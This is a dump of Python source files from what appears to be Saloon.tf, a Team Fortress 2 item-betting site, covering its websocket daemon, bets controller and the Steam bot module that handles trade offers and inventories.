requests.get(\"https://steamrep.com/api/beta3/reputation/%d?json=1\" % (RUser.steamID), timeout=1.5).json()\n if response[u\"steamrep\"][u\"reputation\"][u\"summary\"] == \"SCAMMER\":\n self.sendMessage(json.dumps([\"inventory\", False, \"steamRep\"]))\n return False\n except requests.exceptions.Timeout:\n self.sendMessage(json.dumps([\"inventory\", False, \"steamRepDown\"]))\n return False\n except ValueError:\n self.sendMessage(json.dumps([\"inventory\", False, \"steamRepDown\"]))\n return False\n\n for botID in RMatch.preferredBots:\n SteamHandler = SteamHandlers[botID]\n if SteamHandler.Meta[\"slotsEmpty\"] < RUser.Rank.slots + 250:\n continue\n\n pendingOffers = SteamHandler.OffersQueue.offersNumber() + len(SteamHandler.OffersQueue.waiting)\n if pendingOffers > 20:\n continue\n\n Thread(target=SteamHandler.UserHandler(self).inventory).start()\n return True\n\n self.sendMessage(json.dumps([\"inventory\", False, \"bot\"]))\n return False\n elif message[0] == \"tradeLink\":\n UUID = Communicate.getUUID(self)\n if UUID:\n botID = Communicate.assignedBots[UUID]\n Thread(target=SteamHandlers[botID].tradetoken, args=(self, message[1])).start()\n else:\n self.sendMessage(json.dumps[\"auth\", False])\n elif message[0] == \"bet\":\n with db.SessionScope() as Session:\n UUID = Communicate.getUUID(self)\n if UUID:\n botID = Communicate.assignedBots[UUID]\n del Communicate.assignedBots[UUID]\n\n userID = Local.userIDs[UUID]\n\n RMatch = Session.query(db.Matches).filter(db.Matches.id == message[1]).first()\n RBet = Session.query(db.Bets).filter(and_(db.Bets.user == userID, db.Bets.match == message[1])).first()\n\n if not RBet:\n if RMatch.betsLimit <= RMatch.betsCount:\n self.sendMessage(json.dumps([\"tradeOffer\", False, \"betsLimit\"]))\n return False\n\n ROffer = Session.query(db.Offers).filter(and_(db.Offers.user == userID, db.Offers.status == 2)).first()\n if ROffer:\n self.sendMessage(json.dumps([\"tradeOffer\", False, \"offer\"]))\n return False\n\n for SteamHandler in SteamHandlers.values():\n if SteamHandler.OffersQueue.inQueue(userID):\n self.sendMessage(json.dumps([\"tradeOffer\", False, \"offer\"]))\n return False\n\n SteamHandlers[botID].OffersQueue.addToQueue(self, userID, 0, (message[1], message[2], message[3]), message[1])\n else:\n self.sendMessage(json.dumps[\"auth\", False])\n elif message[0] == \"payout\":\n with db.SessionScope() as Session:\n UUID = Communicate.getUUID(self)\n if UUID:\n userID = Local.userIDs[UUID]\n RBet = Session.query(db.Bets).filter(and_(db.Bets.match == message[1], db.Bets.user == userID)).first()\n if RBet:\n Thread(target=SteamHandlers[RBet.bot].OffersQueue.addToQueue, args=(self, userID, 1, (RBet.id,))).start()\n else:\n self.sendMessage(json.dumps([\"auth\", False]))\n elif message[0] == \"score\":\n Thread(target=Scores.human, args=(self, message[1], message[2], message[3], message[4])).start()\n elif message[0] == \"refund\":\n Thread(target=SteamHandlers[message[1]].UserHandler(self).customOffer, args=(message[2], message[3], message[4])).start()\n\n def onClose(self, wasClean, code, reason):\n print(\"WebSocket connection closed: {0}\".format(reason))\n UUID = Communicate.getUUID(self)\n if UUID:\n for SteamHandler in SteamHandlers.values():\n SteamHandler.UserHandler(self).remove()\n Communicate.remove(self)\n\nclass ChainedOpenSSLContextFactory(DefaultOpenSSLContextFactory):\n def __init__(self, privateKeyFileName, certificateChainFileName, sslmethod=SSL.SSLv23_METHOD):\n self.privateKeyFileName = privateKeyFileName\n self.certificateChainFileName = certificateChainFileName\n self.sslmethod = sslmethod\n self.cacheContext()\n\n def cacheContext(self):\n ctx = SSL.Context(self.sslmethod)\n ctx.use_certificate_chain_file(self.certificateChainFileName)\n ctx.use_privatekey_file(self.privateKeyFileName)\n self._context = ctx\n\n# SSL server context: load server key and certificate\ncontextFactory = ChainedOpenSSLContextFactory('keys/server.key', 'keys/server.pem')\n\n# Websockets\nfactory = WebSocketServerFactory(\"wss://173.208.248.200:9000\", debug = False)\nfactory.protocol = WebsocketProtocol\nfactory.setProtocolOptions(allowHixie76 = True, utf8validateIncoming = True)\n\nlistenWS(factory, contextFactory)\n\n# Local\nclass LocalProtocol(Protocol):\n def dataReceived(self, payload):\n message = json.loads(payload.decode('utf8'))\n if message[0] == \"auth\":\n LocalHandler.auth(message[1], message[2])\n elif message[0] == \"queue\":\n for event in message[1]:\n if event[0] == \"matchStart\":\n LocalHandler.EventsQueue.addToQueue(\"matchStart-%d\" % event[1], event[2], Scores.startMatch, (event[1],))\n elif event[0] == \"matchEnd\":\n LocalHandler.EventsQueue.addToQueue(\"matchEnd-%d\" % event[1], event[2], Scores.endMatch, (event[1],))\n elif message[0] == \"notification\":\n if message[1] == \"update\":\n LocalHandler.notificationUpdate(message[2], message[3])\n elif message[1] == \"disable\":\n LocalHandler.notificationDisable()\n\nclass LocalFactory(Factory):\n def buildProtocol(self, addr):\n return LocalProtocol()\n\nendpoint = TCP4ServerEndpoint(reactor, 9002, interface = \"localhost\")\nendpoint.listen(LocalFactory())\n\ndef shutdown():\n Communicate.log(\"Daemon.py\", \"\", \"Shutting down SteamHandlers\")\n for SteamHandler in SteamHandlers.values():\n SteamHandler.shutdown()\n Communicate.log(\"Daemon.py\", \"\", \"Shutting down EventsHandler\")\n EventsHandler.shutdown()\n\nreactor.addSystemEventTrigger('during', 'shutdown', shutdown)\nreactor.run()" }, { "alpha_fraction": 0.6153039932250977, "alphanum_fraction": 0.6222921013832092, "avg_line_length": 31.16853904724121, "blob_id": "5d555236b88dc4a587ec196553237f7c398c7c08", "content_id": "79350a9435c92e661b7e08cb19fcfbc4b0741eaa", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2862, "license_type": "no_license", "max_line_length": 188, "num_lines": 89, "path": "/Website/website/controllers/bets.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, datetime, simplejson as json\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\nfrom collections import defaultdict, Counter, OrderedDict\nfrom natural import date as naturalDate\nfrom sqlalchemy import and_, sql\nfrom website.lib.base import BaseController, Session, render\nfrom website.lib.auth import Auth\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass BetsController(BaseController):\n\n def index(self):\n # Returns a rendered template\n c.current = \"bets\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n if not c.user:\n return abort(403)\n\n RBets = Session.query(db.Bets)\\\n .join(db.Bets.Match)\\\n .filter(db.Bets.user == RUser.id)\\\n .order_by(\n sql.expression.case((\n (db.Bets.status == 1, 0),\n (db.Matches.status == 1, 1),\n (db.Matches.status == 0, sql.expression.extract('epoch', db.Matches.time))\n )).asc(),\n sql.expression.case((\n (db.Bets.status == 2, 0),\n (db.Bets.status == 0, 1)\n )).asc(),\n db.Matches.time.desc(),\n db.Matches.id.desc()\n )\\\n .limit(5).all()\n\n c.matches, c.bets, c.offers = ([], [], [])\n if not RBets:\n return render('/ajax/betsSummary.mako')\n\n betIDs = [RBet.id for RBet in RBets]\n\n betItems = defaultdict(list)\n\n RItemsBet = Session.query(db.ItemsBet) \\\n .filter(db.ItemsBet.bet.in_(betIDs)) \\\n .all()\n\n RItemsBet = sorted(RItemsBet, key = lambda RItemBet: (RItemBet.origin * -1, RItemBet.ItemInstance.Item.type, RItemBet.ItemInstance.Item.quality, RItemBet.ItemInstance.Item.value * -1))\n # Items not appearing for the losers!!\n c.bets = []\n c.offers = []\n for RBet in RBets:\n bet = RBet.to_dict(show=[\"bets.User\"])\n bet[\"own\"] = True\n bet[\"naturalDeadline\"] = RBet.naturalDeadline()\n\n bet[\"items\"] = []\n for RItemBet in RItemsBet:\n if RItemBet.bet != RBet.id:\n continue\n\n item = RItemBet.ItemInstance.to_dict(show=[\"itemsinstances.Item\"])\n item[\"origin\"] = RItemBet.origin\n bet[\"items\"].append(item)\n\n bet[\"limit\"] = RUser.Rank.slots - len(bet[\"items\"])\n c.bets.append(bet)\n\n match = RBet.Match.to_dict()\n match[\"Team1\"].update(RBet.Match.team1Score())\n match[\"Team2\"].update(RBet.Match.team2Score())\n match[\"naturalTime\"] = RBet.Match.naturalTime()\n c.matches.append(match)\n\n offer = False\n ROffer = Session.query(db.Offers).filter(and_(db.Offers.status == 2, db.Offers.match == RBet.match)).first()\n if ROffer:\n offer = ROffer.team\n c.offers.append(offer)\n return render('/bets.mako')" }, { "alpha_fraction": 0.6253014206886292, "alphanum_fraction": 0.6299663782119751, "avg_line_length": 39.02531814575195, "blob_id": "259eac298fc04940f46a6637a45400d941d37a6d", "content_id": "2a1b35ab999b4ba976d30326b6f9aa0699b46771", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25295, "license_type": "no_license", "max_line_length": 219, "num_lines": 632, "path": "/Daemon/SteamDaemon.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import gc\nimport requests, urllib, shutil\nimport logging\nimport datetime, time, json\nimport re\nimport colorama as color\nfrom collections import defaultdict, Counter, OrderedDict\nfrom threading import Thread, Timer\nfrom sqlalchemy import and_\nimport database as db\nimport SteamWeb\n\nclass Handler(object):\n def __init__(self, Communicate, Local, Meta):\n self.Communicate = Communicate\n self.Local = Local\n self.Meta = Meta\n self.Bot = SteamWeb.Bot(\n Meta[\"id\"],\n Meta[\"name\"],\n {\"login\": Meta[\"steamLogin\"], \"password\": Meta[\"steamPassword\"], \"id\": Meta[\"steamID\"], \"api\": Meta[\"steamAPI\"], \"trade\": Meta[\"token\"]},\n self.Callback()\n )\n\n self.itemsWhitelist = []\n\n def start(self):\n self.running = True\n self.OffersQueue = self._OffersQueue(self)\n self.OffersLoop = self._OffersLoop(self)\n\n def shutdown(self):\n self.log(\"Stoping bot\")\n self.running = False\n\n def log(self, message, level = logging.INFO):\n self.Communicate.log(\"SteamDaemon.py\", self.Bot.name, message, level)\n\n def Callback(self):\n return self._Callback(self)\n\n class _Callback(object):\n def __init__(self, Handler):\n self.Handler = Handler\n self.Communicate = self.Handler.Communicate\n\n def log(self, message, level = logging.INFO):\n self.Communicate.log(\"SteamBot.py\", self.Bot.name, message, level)\n\n def steamGuard(self):\n # Manual authentication\n while True:\n self.log(\"GuardCode sent to \" + self.Bot.name + \"'s email address\")\n guardCode = raw_input(color.Fore.BLUE + color.Style.BRIGHT + \"[\" + self.Bot.name + \"] \" + color.Fore.RESET + color.Style.RESET_ALL + \"GuardCode: \")\n return guardCode\n\n def captchaCode(self, gid):\n captchaPath = \"captchas/\" + self.Bot.name + \"-\" + gid + \".png\"\n captcha = self.Bot.session.get(\"https://steamcommunity.com/public/captcha.php?gid=\" + gid, stream=True)\n with open(captchaPath, \"wb\") as f:\n captcha.raw.decode_content = True\n shutil.copyfileobj(captcha.raw, f)\n self.log(\"Captcha needed. Saved it to the \" + captchaPath)\n captchaCode = raw_input(\"\")\n return captchaCode\n\n class _OffersLoop(object):\n def __init__(self, Handler, timeCutoff = 0):\n self.Handler = Handler\n self.cachedInventory = None\n Thread(target=self.loop, args=(timeCutoff,)).start()\n\n def loop(self, timeCutoff):\n timeCutoff = timeCutoff\n while True:\n timeCutoffNew = int(time.time()) - 1\n offers = self.Handler.Bot.Trade().getOffers(offerType=\"sent\", descriptions=True, timeCutoff=timeCutoff)\n if offers:\n self.Handler.log(\"Got offers\", logging.DEBUG)\n self.cachedInventory = None\n for offerID, offer in offers.items():\n UUID = offer.message[-36:]\n Thread(target=self.Handler.OfferProcess, args=(offer, UUID)).start()\n\n if self.cachedInventory != False:\n timeCutoff = timeCutoffNew\n\n gc.collect()\n\n if self.Handler.running == False:\n return False\n\n time.sleep(5)\n\n def OfferProcess(self, offer, offerUUID):\n return self._OfferProcess(self, offer, offerUUID)\n\n class _OfferProcess(object):\n def __init__(self, Handler, offer, offerUUID):\n self.Handler = Handler\n self.Session = db.Session()\n self.offer = offer\n self.ROffer = self.Session.query(db.Offers).filter(db.Offers.offerID == self.offer.offerID).first()\n if not self.ROffer:\n self.ROffer = self.Session.query(db.Offers).filter(db.Offers.UUID == offerUUID).first()\n self.offerProcess()\n self.Session.commit()\n self.Session.close()\n\n def offerProcess(self):\n if not self.ROffer or self.ROffer.status == 3:\n return False\n\n self.RBot = self.Session.query(db.Bots).filter(db.Bots.id == self.Handler.Meta[\"id\"]).first()\n self.RBotItems = self.Session.query(db.BotsItems).filter(db.BotsItems.bot == self.Handler.Meta[\"id\"]).first()\n changed = self.ROffer.status != self.offer.state\n self.ROffer.status = self.offer.state\n\n if self.ROffer.type == 0:\n self.betProcess()\n elif self.ROffer.type == 1:\n self.payoutProcess()\n\n self.Handler.Meta = self.RBot.to_dict()\n if self.ROffer.type in [0,1] and not self.ROffer.hidden and changed:\n self.Handler.Communicate.multicast([\"offer\", \"closed\"], self.ROffer.user)\n self.Handler.Communicate.multicast([\"reload\", \"/match/%d/\" % (self.ROffer.match)], self.ROffer.user)\n\n if self.ROffer.status in [3,6,7]:\n if self.Handler.running:\n self.Handler.OffersQueue.cancelTimer(self.ROffer.offerID)\n return True\n\n def betProcess(self):\n if not self.ROffer.offerID:\n if self.offer.state == 2:\n self.offer.cancel()\n self.ROffer.offerID = self.offer.offerID\n\n if self.offer.state not in [1,3,6,8]:\n if self.offer.state == 7:\n self.declinedProcess()\n return False\n\n self.Handler.log(\"Processing bet for offer #%d\" % self.offer.offerID, logging.DEBUG)\n\n betItems = []\n originIDs = []\n\n if not self.Handler.OffersLoop.cachedInventory:\n inventory, slots = self.Handler.botInventory()\n self.Handler.OffersLoop.cachedInventory = inventory\n if inventory == False:\n return False\n\n for inventoryItems in self.Handler.OffersLoop.cachedInventory.values():\n for id, item in inventoryItems.items():\n for offerItem in self.ROffer.items:\n if item[\"originID\"] == offerItem[2]:\n betItems.append(offerItem)\n originIDs.append(offerItem[2])\n\n if not betItems:\n self.declinedProcess()\n return False\n\n RItemsInstances = self.Session.query(db.ItemsInstances).filter(and_(db.ItemsInstances.existing == True, db.ItemsInstances.originID.in_(originIDs))).all()\n if RItemsInstances:\n return False\n\n RBet = self.Session.query(db.Bets).filter(and_(db.Bets.user == self.ROffer.user, db.Bets.match == self.ROffer.match)).first()\n RUser = self.Session.query(db.Users).filter(db.Users.id == self.ROffer.user).first()\n\n RBetsTotal = self.Session.query(db.BetsTotal).filter(and_(db.BetsTotal.match == self.ROffer.match, db.BetsTotal.team == self.ROffer.team)).first()\n\n if not RBet:\n RBet = db.Bets(user = self.ROffer.user, match = self.ROffer.match, team = self.ROffer.team, value = 0, created = datetime.datetime.now(), updated = datetime.datetime.now())\n self.Session.add(RBet)\n self.Session.flush()\n RMatch = self.Session.query(db.Matches).filter(db.Matches.id == self.ROffer.match).first()\n RMatch.betsCount += 1\n\n self.ROffer.status = 3\n self.ROffer.hidden = False\n\n for betItem in betItems:\n RItem = self.Handler.Schema.getItems([{\"defindex\": betItem[0], \"quality\": betItem[1]}])[0]\n RItemInstance = db.ItemsInstances(originID = betItem[2], item = RItem[\"id\"], bot = self.ROffer.bot, user = self.ROffer.user, status = 2, existing = True)\n self.Session.add(RItemInstance)\n self.Session.flush()\n RItemsBet = db.ItemsBet(itemInstance = RItemInstance.id, match = self.ROffer.match, team = self.ROffer.team, bet = RBet.id, origin = 0)\n self.Session.add(RItemsBet)\n self.Session.flush()\n\n RBetsTotal.value = RBetsTotal.value + RItem[\"value\"]\n RBet.value = RBet.value + RItem[\"value\"]\n\n if not self.ROffer.hidden:\n self.Handler.Communicate.multicast([\"bet\", \"accepted\", RBet.match, RBet.Team.name], self.ROffer.user)\n\n requests.get(\"http://localhost:81/api/refreshSession/\")\n return True\n \n def payoutProcess(self):\n if not self.ROffer.offerID:\n if self.offer.state == 2:\n self.offer.cancel()\n self.ROffer.offerID = self.offer.offerID\n\n if self.offer.state not in [1,3,6,8]:\n return False\n\n if not self.Handler.OffersLoop.cachedInventory:\n inventory, slots = self.Handler.botInventory()\n self.Handler.OffersLoop.cachedInventory = inventory\n if inventory == False:\n return False\n \n betItems = []\n for inventoryItems in self.Handler.OffersLoop.cachedInventory.values():\n for id, item in inventoryItems.items():\n for offerItem in self.ROffer.items:\n if item[\"originID\"] == offerItem[2]:\n betItems.append(offerItem)\n\n RBet = self.Session.query(db.Bets).filter(and_(db.Bets.user == self.ROffer.user, db.Bets.match == self.ROffer.match)).first()\n if betItems:\n RBet.status = 1\n return False\n\n RBet.status = 2\n self.ROffer.status = 3\n\n RItemsBet = self.Session.query(db.ItemsBet).filter(db.ItemsBet.bet == RBet.id).all()\n\n for RItemBet in RItemsBet:\n if RItemBet.ItemInstance.status == 5:\n RItemBet.ItemInstance = 4\n elif RItemBet.ItemInstance.existing:\n RItemBet.ItemInstance.existing = False\n RItemInstance = db.ItemsInstances(originID = RItemBet.ItemInstance.originID, item = RItemBet.ItemInstance.item, bot = RItemBet.ItemInstance.bot, user = RItemBet.ItemInstance.user, status = 4, existing = False)\n self.Session.add(RItemInstance)\n self.Session.flush()\n RItemBet.itemInstance = RItemInstance.id\n\n if not self.ROffer.hidden:\n self.Handler.Communicate.multicast([\"payout\", \"accepted\", RBet.match, RBet.Team.name], self.ROffer.user)\n requests.get(\"http://localhost:81/api/refreshSession/\")\n return True\n\n def declinedProcess(self):\n requests.get(\"http://localhost:81/api/refreshSession/\")\n return True\n\n class _OffersQueue(object):\n def __init__(self, Handler):\n self.Handler = Handler\n self.waiting = OrderedDict()\n self.sending = []\n self.pending = {}\n self.usersOffers = {}\n self.matches = defaultdict(int)\n self.offersNumber = lambda: len(self.sending) + len(self.pending)\n Thread(target=self.loop).start()\n\n def loop(self):\n while self.Handler.running:\n for offer in self.pending.values():\n if offer[\"time\"] <= round(time.time()):\n self.cancelOffer(offer[\"offerID\"])\n gc.collect()\n time.sleep(1)\n for offer in self.pending.values():\n self.cancelOffer(offer[\"offerID\"])\n\n def inQueue(self, userID):\n if userID in self.waiting:\n return True\n\n if userID in self.sending:\n return True\n\n for offer in self.pending.values():\n if offer[\"user\"] == userID:\n return True\n\n def addToQueue(self, listener, userID, offerType, offerArguments, match = False):\n if self.offersNumber() < 20:\n self.sendOffer(listener, userID, offerType, offerArguments)\n return True\n\n self.waiting[userID] = {\"listener\": listener, \"offerType\": offerType, \"offerArguments\": offerArguments, \"match\": match}\n self.waiting[userID][\"listener\"].sendMessage(json.dumps([\"tradeOffer\", \"queue\", len(self.waiting)]))\n return True\n\n def moveQueue(self):\n if not self.waiting:\n return False\n\n self.sendOffer(self.waiting.values()[0][\"listener\"], self.waiting.keys()[0], self.waiting.values()[0][\"offerType\"], self.waiting.values()[0][\"offerArguments\"])\n self.removeFromQueue(self.waiting.keys()[0])\n\n queuePosition = 0\n for userID, offer in self.waiting.values():\n queuePosition += 1\n offer[\"listener\"].sendMessage(json.dumps([\"tradeOffer\", \"queue\", queuePosition]))\n return True\n\n def removeFromQueue(self, userID):\n if userID in self.waiting:\n del self.waiting[userID]\n if self.waiting[userID][\"match\"]:\n self.matches[self.waiting[userID][\"match\"]] -= 1\n return True\n return False\n\n def sendOffer(self, listener, userID, offerType, offerArguments):\n self.sending.append(userID)\n if offerType == 0:\n self.Handler.UserHandler(listener).betOffer(*offerArguments)\n elif offerType == 1:\n self.Handler.UserHandler(listener).payoutOffer(*offerArguments)\n self.sending.remove(userID)\n return True\n\n def cancelOffer(self, offerID):\n self.Handler.Communicate.multicast([\"offer\", \"canceling\"], self.pending[offerID][\"user\"])\n self.cancelTimer(offerID)\n offer = self.Handler.Bot.Trade().Offer(offerID)\n offer.cancel()\n\n def addTimer(self, userID, offerID, offerType, match, team, timeToComplete = 120.0):\n self.pending[offerID] = offer = {\"offerID\": offerID, \"user\": userID, \"type\": offerType, \"match\": match, \"team\": team, \"time\": round(time.time() + timeToComplete)}\n self.usersOffers[userID] = offerID\n self.Handler.Communicate.multicast([\"offer\", \"pending\", offer[\"offerID\"], offer[\"type\"], offer[\"match\"], offer[\"team\"], timeToComplete], userID)\n\n def resendTimer(self, listener, userID):\n if userID in self.usersOffers:\n offerID = self.usersOffers[userID]\n offer = self.pending[offerID]\n listener.sendMessage(json.dumps([\"offer\", \"pending\", offer[\"offerID\"], offer[\"type\"], offer[\"match\"], offer[\"team\"], round(offer[\"time\"] - time.time())]))\n\n def cancelTimer(self, offerID):\n if offerID in self.pending:\n offer = self.pending[offerID]\n if offer[\"user\"] in self.usersOffers:\n del self.usersOffers[offer[\"user\"]]\n del self.pending[offerID]\n self.moveQueue()\n\n def UserHandler(self, listener):\n return self._UserHandler(self, listener)\n\n class _UserHandler(object):\n def __init__(self, Handler, listener):\n self.Handler = Handler\n self.listener = listener\n self.UUID = self.Handler.Communicate.getUUID(listener)\n self.userID = self.Handler.Local.userIDs[self.UUID]\n\n def betOffer(self, matchID, teamID, items):\n with db.SessionScope() as Session:\n RUser = Session.query(db.Users).filter(db.Users.id == self.userID).first()\n steamID = RUser.steamID \n\n Partner = self.Handler.Bot.Community().Friend(RUser.steamID)\n Partner.token = RUser.token\n\n limit = RUser.Rank.slots\n RItemsBet = Session.query(db.ItemsBet).join(db.ItemsBet.ItemInstance).filter(and_(db.ItemsBet.match == matchID, db.ItemsInstances.user == self.userID)).all()\n if RItemsBet:\n limit -= len(RItemsBet)\n items = items[:limit]\n\n if limit <= 0:\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"limit\"]))\n return False\n\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RMatch.team1 != teamID:\n otherTeamID = RMatch.team1\n else:\n otherTeamID = RMatch.team2\n\n if otherTeamID in RUser.teams:\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"team\"]))\n return False\n\n offerItems = []\n inventory, slots = self.Handler.userInventory(self.userID)\n\n originIDs = []\n\n for defindex, itemsGroup in inventory.items():\n for assetID, item in itemsGroup.items():\n if assetID in items:\n offerItems.append([defindex, item[\"quality\"], item[\"originID\"]])\n originIDs.append(item[\"originID\"])\n\n RItemInstances = Session.query(db.ItemsInstances).filter(and_(db.ItemsInstances.originID.in_(originIDs), db.ItemsInstances.existing == True)).first()\n if RItemInstances:\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"existing\"]))\n return False\n\n if len(offerItems) < len(items):\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"missing\"]))\n return False\n\n self.listener.sendMessage(json.dumps([\"bet\", \"processing\"]))\n itemsToReceive = []\n for assetID in items:\n itemsToReceive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(assetID).encode(\"utf-8\")\n })\n\n offerID, offerUUID = self.Handler.Bot.Trade().sendOffer(Partner, [], itemsToReceive, \"Thanks for betting with Saloon.tf!\")\n\n if offerID:\n ROffer = db.Offers(offerID = offerID, UUID = offerUUID, bot = self.Handler.Bot.id, user = self.userID, type = 0, match = matchID, team = teamID, status = 2, items = offerItems)\n Session.add(ROffer)\n else:\n ROffer = db.Offers(offerID = None, UUID = offerUUID, bot = self.Handler.Bot.id, user = self.userID, type = 0, match = matchID, team = teamID, status = 1, items = offerItems, hidden = True)\n Session.add(ROffer)\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"error\"]))\n return False\n\n RTeam = Session.query(db.Teams).filter(db.Teams.id == teamID).first()\n self.Handler.Communicate.multicast([\"reload\", \"/match/%d/\" % (matchID)], self.userID)\n\n if offerID:\n self.Handler.OffersQueue.addTimer(self.userID, offerID, 0, matchID, RTeam.to_dict())\n requests.get(\"http://localhost:81/api/refreshSession/\")\n return offerID\n\n def payoutOffer(self, betID):\n with db.SessionScope() as Session:\n RUser = Session.query(db.Users).filter(db.Users.id == self.userID).first()\n RBet = Session.query(db.Bets).filter(db.Bets.id == betID).first()\n ROffer = Session.query(db.Offers).filter(and_(db.Offers.status == 2, db.Offers.match == RBet.match)).first()\n\n if not RBet or RBet.status != 1:\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"status\"]))\n return False\n\n Partner = self.Handler.Bot.Community().Friend(RUser.steamID)\n Partner.token = RUser.token\n \n RFilteredItems = []\n RItemsBet = Session.query(db.ItemsBet).filter(db.ItemsBet.bet == RBet.id).all()\n for RItemBet in RItemsBet:\n if RItemBet.ItemInstance.existing:\n RFilteredItems.append(RItemBet)\n\n RItemsBet = RFilteredItems\n if not RItemsBet:\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"uncollected\"]))\n return False\n\n offerItems = []\n itemsToGive = []\n inventory, slots = self.Handler.botInventory()\n for inventoryItems in inventory.values():\n for id, item in inventoryItems.items():\n for RItemBet in RItemsBet:\n if RItemBet.ItemInstance.originID == item[\"originID\"]:\n itemsToGive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(item[\"assetID\"]).encode(\"utf-8\")\n })\n offerItems.append([RItemBet.ItemInstance.Item.defindex, RItemBet.ItemInstance.Item.quality, RItemBet.ItemInstance.originID])\n\n offerID, offerUUID = self.Handler.Bot.Trade().sendOffer(Partner, itemsToGive, [], \"Thanks for betting with Saloon.tf and congratulations!\")\n if offerID:\n RBet.status = 2\n ROffer = db.Offers(offerID = offerID, UUID = offerUUID, bot = self.Handler.Bot.id, user = self.userID, type = 1, match = RBet.match, team = RBet.team, status = 2, items = offerItems)\n else:\n ROffer = db.Offers(offerID = None, UUID = offerUUID, bot = self.Handler.Bot.id, user = self.userID, type = 1, match = RBet.match, team = RBet.team, status = 1, items = offerItems)\n self.listener.sendMessage(json.dumps([\"tradeOffer\", False, \"error\"]))\n\n Session.add(ROffer)\n\n self.Handler.Communicate.multicast([\"reload\", \"/match/%d/\" % (RBet.match)], self.userID)\n if offerID:\n self.Handler.OffersQueue.addTimer(self.userID, offerID, 1, RBet.match, RBet.Team.to_dict())\n\n requests.get(\"http://localhost:81/api/refreshSession/\")\n return offerID\n \n def customOffer(self, otherUserID, itemsToGiveList, itemsToReceiveList):\n with db.SessionScope() as Session:\n RUser = Session.query(db.Users).filter(db.Users.id == self.userID).first()\n if not RUser.Permissions[0].economy:\n self.listener.sendMessage(json.dumps[\"auth\", False])\n return False\n\n ROtherUser = Session.query(db.Users).filter(db.Users.id == otherUserID).first()\n if ROtherUser:\n Partner = self.Handler.Bot.Community().Friend(str(ROtherUser.steamID))\n Partner.token = ROtherUser.token\n itemsToGive = []\n for assetID in itemsToGiveList:\n itemsToGive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(assetID).encode(\"utf-8\")\n })\n itemsToReceive = []\n for assetID in itemsToReceiveList:\n itemsToReceive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(assetID).encode(\"utf-8\")\n })\n offerID = self.Handler.Bot.Trade().sendOffer(Partner, itemsToGive, itemsToReceive, \"Hello there! Here are your items.\\nIf you have any further questions please let us know.\")\n self.listener.sendMessage(json.dumps([\"offerID\", offerID]))\n return offerID\n self.listener.sendMessage(json.dumps([\"offerID\", False]))\n return False\n\n def inventory(self):\n with db.SessionScope() as Session:\n self.Handler.Communicate.assignedBots[self.UUID] = self.Handler.Bot.id\n \n RUser = Session.query(db.Users).filter(db.Users.id == self.userID).first()\n if not RUser.token:\n self.listener.sendMessage(json.dumps([\"tradeLink\", \"new\"]))\n return False\n\n\n inventory = None\n RUsersInventory = Session.query(db.UsersInventories).filter(db.UsersInventories.user == RUser.id).first()\n if RUsersInventory.updated + datetime.timedelta(minutes=2) > datetime.datetime.now():\n inventory = defaultdict(dict)\n for defindex, inventoryItems in RUsersInventory.inventory.items():\n for id, item in inventoryItems.items():\n inventory[long(defindex)][long(id)] = item\n\n if not inventory:\n inventory, slots = self.Handler.userInventory(self.userID)\n\n if not inventory:\n self.listener.sendMessage(json.dumps([\"inventory\", False, \"steam\"]))\n return False\n\n filters = []\n for defindex, items in inventory.items():\n for id, item in items.items():\n itemsFilter = {\"defindex\": defindex, \"quality\": item[\"quality\"]}\n if not itemsFilter in filters:\n filters.append(itemsFilter)\n\n sortedItems = self.Handler.Schema.getItems(filters)\n\n processedInventory = []\n for sortedItem in sortedItems:\n defindex = sortedItem[\"defindex\"]\n quality = sortedItem[\"quality\"]\n itemsGroup = {\n \"name\": sortedItem[\"description\"],\n \"defindex\": defindex,\n \"quality\": quality,\n \"value\": sortedItem[\"value\"],\n \"items\": {}\n }\n\n items = inventory[defindex]\n for id, item in items.items():\n if item[\"quality\"] == quality:\n if all([\n item[\"craftable\"],\n item[\"tradable\"],\n item[\"origin\"] != 8,\n item[\"quality\"] == sortedItem[\"quality\"]\n ]):\n self.Handler.itemsWhitelist.append(item[\"originID\"])\n itemsGroup[\"items\"][id] = item\n\n if itemsGroup[\"items\"]:\n processedInventory.append(itemsGroup)\n\n self.listener.sendMessage(json.dumps([\"inventory\", processedInventory]))\n return processedInventory\n self.listener.sendMessage(json.dumps([\"inventory\", False]))\n return False\n\n def remove(self):\n if self.UUID in self.Handler.OffersQueue.waiting:\n self.Handler.OffersQueue.waiting.remove(self.UUID)\n\n def botInventory(self):\n Session = db.sessionmaker(bind=db.engine)()\n RBot = Session.query(db.Bots).filter(db.Bots.id == self.Bot.id).first()\n inventory, slots = self.Bot.Community().inventory()\n if inventory:\n RBot.slots = slots[\"total\"]\n RBot.slotsEmpty = slots[\"empty\"]\n self.Meta = RBot.to_dict()\n Session.commit()\n Session.close()\n return inventory, slots\n\n def userInventory(self, userID):\n Session = db.sessionmaker(bind=db.engine)()\n RUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n Partner = self.Bot.Community().Friend(RUser.steamID)\n Partner.token = RUser.token\n 